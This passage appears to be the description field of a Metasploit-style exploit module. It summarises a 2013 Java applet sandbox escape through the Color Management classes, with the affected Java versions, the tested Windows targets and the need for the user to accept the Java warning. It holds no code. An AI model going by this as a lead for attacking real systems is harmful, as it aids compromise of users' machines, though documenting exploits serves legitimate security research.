'Description' => %q{

This module abuses the Color Management classes from a Java Applet to run

arbitrary Java code outside of the sandbox as exploited in the wild in February

and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41

and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1

systems. This exploit doesn't bypass click-to-play, so the user must accept the java

warning in order to run the malicious applet.
